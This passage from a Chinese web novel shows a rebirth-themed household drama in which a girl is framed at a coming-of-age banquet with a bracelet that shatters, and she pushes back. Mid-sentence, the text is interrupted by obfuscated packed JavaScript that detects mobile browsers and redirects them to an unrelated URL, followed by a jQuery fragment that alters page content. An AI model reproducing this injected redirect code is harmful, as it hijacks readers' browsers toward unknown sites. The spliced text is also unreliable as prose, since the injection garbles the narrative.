这会子,史璇瞧见慕容嫣,一面上前厮见,一面笑着打趣,“诶呀,这不是我们的燕王妃么,王妃娘娘大驾光临,真让我们小门小户的蓬荜生辉。” 慕容嫣抿唇轻笑,“得了吧,谁不知道,如今朝廷缺钱,就连宫里娘娘们的脂粉钱都要仰仗你们林家的盐铁生意,你若是小门小户,我们岂不都成了破落户了。” 林夫人听了这话,神色不觉一变,“玩笑归玩笑,这话可不敢乱说,盐铁是皇家的生意,我们不过是帮着管管罢了,你说这话,不是要我们的命么。” “你也太谨慎了,不愧是监察御史的女儿,罢了罢了,不同你说这个就是了。”慕容嫣笑着岔开话题,“对了,上次我同你说的事情,你考虑的如何了?” “如你所言,亲上加亲,自然是好,我只怕委屈了你们家的姑娘,筠儿已然同吏部尚书的孙女有了婚约,你们家的姑娘再嫁过来,岂非要屈居人下?” “这有何妨,她不过是燕王府的旁支,算不得什么……”慕容嫣扫了眼不远处的沈衔月,下意识顿了顿,她没再说下去,扬手唤道,“容儿,你过来。” 沈衔月正和几个姑娘玩双陆,听见慕容嫣唤自己,只得搁下棋局,走了过来。 林夫人仔细端详着眼前的女孩儿,竟觉得眼熟得很,似乎从前在哪里见过,一时却又想不起来,她笑了笑,随口问道。 “你们姊妹玩什么呢?” “双陆。” 林夫人笑说,“筠儿进京了,若不然,你该见见他,他可是玩双陆的高手。” 沈衔月没听出这话的言外之意,只当林夫人在同自己客套,于是笑着应下。 这时候,侍女前来禀报,说是宾客们都到齐了,宴席可以开始了,林夫人才要说好,却忽然发现林宛烟不见了,忙问。 “烟儿呢?” 侍女一惊,“不知道啊,姑娘她明明方才还在这里的,怎么一眨眼就不见了。” 这场及笄礼原本就是为林宛烟举办的,如今正主不在,林夫人的脸上难免有些挂不住,命人催了好几次,林宛烟才姗姗来迟。 她一袭茜色罗裙,外搭银红织金缬纹披帛,长乐髻上暗香浮动,行动间,宛若花叶翩翩,熏风逸逸,她生得娇小恬美,一双水汪汪的大眼睛更是摄人心魄。 当着众人的面,林夫人板着脸问,“烟儿,你怎么来得这样迟?成何体统!” 林宛烟挽住林夫人的手,模样乖巧可人,“母亲莫恼,我方才给诸位姊妹选礼物,这才耽搁了时辰。”说着,她吩咐道,“快把本姑娘精心挑选的礼物抬上来。” 众人看时,果然是各样精致玩意,虽然小巧,用料却是一等一的上乘,于是连声夸赞,说她年纪尚小,行事却比世人都大,林夫人听了这些奉承话,脸色才一点点好看起来。 林宛烟将礼物依次送予各人,及至沈衔月时,她的手在半空中微微一滞,又收了回去,她弯了弯眉,笑问,“母亲,我瞧这位姊妹眼生得很,不知如何称呼?” “她叫梨容,是燕王府的表姑娘,比你小一岁,你们姊妹相称便是。” “原来是燕王府的表姑娘,难怪先前从未见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461733|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,你既比我小,那我就叫你容妹妹吧。”林宛烟拉起沈衔月的手,从漆盘上捡了件碧玺带翠十八子珠串,比给她看,“这枚十八子珠串在佛祖跟前开过光,听说灵验得很,粉中带翠的颜色也极衬妹妹的肤色,妹妹,你可喜欢?” 沈衔月是带着记忆重生的,这会子被一个不知比自己小多少岁的人张口闭口叫妹妹,她真想找个地缝钻进去,她抿了抿唇,“喜欢,谢谢……林姐姐……” 林宛烟笑着给她戴上,却不料,珠串倏然开裂,顷刻迸溅一地。 众人一时间都愣住了。 林宛烟水汪汪的大眼睛立时噙满了泪花,样子很是委屈,她抬手指着沈衔月,颤声道,“容妹妹,我好心送你珠串,你若不喜欢,不戴便是了,为什么要糟践我的一片心意。” 沈衔月怔了一怔,随即意识到自己中了圈套,林宛烟给她的感觉太过单纯无害,所以她根本没有提防,更何况,她们二人素昧平生,她也实在想不出,林宛烟为什么要害自己? 慕容嫣望着满地碎玉,秀眉微蹙,“容儿,你怎么回事,快给林姑娘道歉。” 林宛烟哭得更凶了。 沈衔月瞧见林宛烟梨花带雨的模样,嘴角抽搐了一下,继而扬起一个微妙的弧度,她平生最恨这种装无辜扮柔弱的人,既然犯在她的手里,就休怪她不讲情面了。 “好啊,我道歉就是,林姐姐,对不住,我不小心推了你,还请你见谅。” 林宛烟一愣,“你说什么?” 沈衔月笑了笑,随即一把抓住林宛烟的手腕,猛地一推,林宛烟立时栽在地上,她显然没料到沈衔月居然会如此行事,连哭都忘了,只管拿手指着沈衔月。 “你!你!” 沈衔月微微屈膝,冲着慕容嫣和史璇各自行了一礼,“母亲,林夫人,我若真要害人,只会如方才这般敢作敢当,断不会使些不痛不痒的下作手段,我之所以推她,是因为她陷害我,我被冤枉了不打紧,可燕王府的脸面不可不顾,请求母亲查明真相,还我一个清白。”